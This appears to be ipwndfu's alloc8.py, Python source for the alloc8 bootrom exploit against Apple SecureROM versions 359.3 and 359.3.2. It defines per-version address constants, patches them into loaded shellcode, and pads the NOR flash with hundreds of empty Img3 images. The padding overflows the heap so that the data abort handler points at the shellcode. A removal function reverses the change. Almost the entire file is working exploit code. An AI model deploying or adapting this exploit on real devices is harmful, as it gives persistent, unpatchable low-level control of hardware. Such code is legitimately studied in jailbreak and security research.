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ipwndfu/alloc8.py /
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| import copy, struct, sys | |
| alloc8_constants_359_3 = [ | |
| 0x84034000, # 1 - MAIN_STACK_ADDRESS | |
| 0x544, # 2 - clean_invalidate_data_cache | |
| 0x84024020, # 3 - gNorImg3List | |
| 0x1ccd, # 4 - free | |
| 0x3ca1, # 5 - exit_critical_section | |
| 0x451d, # 6 - home_button_pressed | |
| 0x450d, # 7 - power_button_pressed | |
| 0x44e1, # 8 - cable_connected | |
| 0x696c6c62, # 9 - ILLB_MAGIC | |
| 0x1f6f, # 10 - get_nor_image | |
| 0x84000000, # 11 - LOAD_ADDRESS | |
| 0x24000, # 12 - MAX_SIZE | |
| 0x3969, # 13 - jump_to | |
| 0x38a1, # 14 - usb_create_serial_number_string | |
| 0x8e7d, # 15 - strlcat | |
| 0x349d, # 16 - usb_wait_for_image | |
| 0x84024228, # 17 - gLeakingDFUBuffer | |
| 0x65786563, # 18 - EXEC_MAGIC | |
| 0x1f79, # 19 - memz_create | |
| 0x1fa1, # 20 - memz_destroy | |
| 0x696d6733, # 21 - IMG3_STRUCT_MAGIC | |
| 0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC | |
| 0x1fe5, # 23 - image3_create_struct | |
| 0x2655, # 24 - image3_load_continue | |
| 0x277b, # 25 - image3_load_fail | |
| ] | |
| alloc8_constants_359_3_2 = [ | |
| 0x84034000, # 1 - MAIN_STACK_ADDRESS | |
| 0x544, # 2 - clean_invalidate_data_cache | |
| 0x84024020, # 3 - gNorImg3List | |
| 0x1ccd, # 4 - free | |
| 0x3ca9, # 5 - exit_critical_section | |
| 0x4525, # 6 - home_button_pressed | |
| 0x4515, # 7 - power_button_pressed | |
| 0x44e9, # 8 - cable_connected | |
| 0x696c6c62, # 9 - ILLB_MAGIC | |
| 0x1f77, # 10 - get_nor_image | |
| 0x84000000, # 11 - LOAD_ADDRESS | |
| 0x24000, # 12 - MAX_SIZE | |
| 0x3971, # 13 - jump_to | |
| 0x38a9, # 14 - usb_create_serial_number_string | |
| 0x8e85, # 15 - strlcat | |
| 0x34a5, # 16 - usb_wait_for_image | |
| 0x84024228, # 17 - gLeakingDFUBuffer | |
| 0x65786563, # 18 - EXEC_MAGIC | |
| 0x1f81, # 19 - memz_create | |
| 0x1fa9, # 20 - memz_destroy | |
| 0x696d6733, # 21 - IMG3_STRUCT_MAGIC | |
| 0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC | |
| 0x1fed, # 23 - image3_create_struct | |
| 0x265d, # 24 - image3_load_continue | |
| 0x2783, # 25 - image3_load_fail | |
| ] | |
| def empty_img3(size): | |
| assert size >= 20 | |
| return struct.pack('<4s3I4s', 'Img3'[::-1], size, 0, 0, 'zero'[::-1]) + '\x00' * (size - 20) | |
| def exploit(nor, version): | |
| if version == '359.3': | |
| constants = alloc8_constants_359_3 | |
| exceptions = [0x5620, 0x5630] | |
| elif version == '359.3.2': | |
| constants = alloc8_constants_359_3_2 | |
| exceptions = [0x5628, 0x5638] | |
| else: | |
| print 'ERROR: SecureROM version %s is not supported by alloc8.' % version | |
| sys.exit(1) | |
| for c in nor.parts[1]: | |
| assert c == '\x00' | |
| assert len(nor.images) < 32 | |
| MAX_SHELLCODE_LENGTH = 460 | |
| with open('bin/alloc8-shellcode.bin', 'rb') as f: | |
| shellcode = f.read() | |
| assert len(shellcode) <= MAX_SHELLCODE_LENGTH | |
| # Shellcode has placeholder values for constants; check they match and replace with constants from config. | |
| placeholders_offset = len(shellcode) - 4 * len(constants) | |
| for i in range(len(constants)): | |
| offset = placeholders_offset + 4 * i | |
| (value,) = struct.unpack('<I', shellcode[offset:offset + 4]) | |
| assert value == 0xBAD00001 + i | |
| new_nor = copy.deepcopy(nor) | |
| new_nor.parts[1] = shellcode[:placeholders_offset] + struct.pack('<%sI' % len(constants), *constants) + '\x00' * (MAX_SHELLCODE_LENGTH - len(shellcode)) | |
| while len(new_nor.images) < 713: | |
| new_nor.images.append(empty_img3(new_nor.block_size)) | |
| # Image no. 714 must end at the end of the 4096-byte block. | |
| NOR_READ_SIZE = 4096 | |
| offset = 0 | |
| for image in new_nor.images: | |
| offset += len(image) | |
| size = NOR_READ_SIZE - offset % NOR_READ_SIZE | |
| new_nor.images.append(empty_img3(size)) | |
| # This image is copied to address 0x8. SHELLCODE_ADDRESS overrides the data abort exception handler. | |
| SHELLCODE_ADDRESS = 0x84026214 + 1 | |
| new_nor.images.append(empty_img3(52)[:40] + struct.pack('<4I', SHELLCODE_ADDRESS, 0, *exceptions)) | |
| return new_nor | |
| def remove_exploit(nor): | |
| assert len(nor.images) >= 700 | |
| new_nor = copy.deepcopy(nor) | |
| new_images = [] | |
| for image in new_nor.images: | |
| assert len(image) >= 20 | |
| if image[16:20] != 'zero'[::-1]: | |
| new_images.append(image) | |
| assert len(new_images) < 32 | |
| new_nor.images = new_images | |
| new_nor.parts[1] = '\x00' * 460 | |
| return new_nor |